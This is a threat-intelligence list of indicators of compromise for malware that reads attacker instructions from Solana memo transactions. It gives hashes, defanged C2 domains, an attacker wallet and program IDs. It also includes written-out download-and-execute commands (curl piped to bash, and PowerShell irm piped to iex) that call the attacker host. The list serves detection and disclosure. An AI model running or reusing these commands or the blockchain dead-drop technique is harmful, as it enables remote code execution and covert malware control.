  • SHA1: 824e601b599b9ad97ee12f0b3a72efd20ba59d47
  • MD5: f595fb7867beb76b4deab53fa328e0a2

Network Indicators

  • hxxps://api[.]mainnet[.]solana[.]com — Solana mainnet JSON-RPC endpoint used as C2 transport (DO NOT BLOCK)
  • dodod[.]lat — resolved C2 / second-stage host (as of 2026-06-11)
  • hxxps://dodod[.]lat/darwin/i/_ — macOS second-stage download URL
  • hxxps://dodod[.]lat/linux/i/_ — Linux second-stage download URL
  • hxxps://dodod[.]lat/win32/i/_ — Windows second-stage download URL

Blockchain / C2 Indicators (runtime-only)

  • 6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz — attacker-controlled Solana wallet polled for instructions
  • [9] dodod.lat — on-chain memo dead-drop payload (numeric-prefix [N] payload format)
  • MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr — SPL Memo program v2, parsed for attacker payload
  • Memo1UhkJRfHyvLMcVucJwxXeuD728EqVDDwQDxFM — SPL Memo program v1, parsed for attacker payload
  • getSignaturesForAddressgetTransaction (jsonParsed) — RPC call sequence used to read the dead-drop

Command Execution Artifacts (runtime-only)

  • curl -fsSL hxxps://dodod[.]lat/<platform>/i/_ | bash — Unix download-and-execute via child_process.execSync
  • powershell -Command "irm hxxps://dodod[.]lat/win32/i/_ | iex" — Windows fileless download-and-execute
  • require('child_process') + execSync + windowsHide — process-spawn primitives (console hidden on Windows)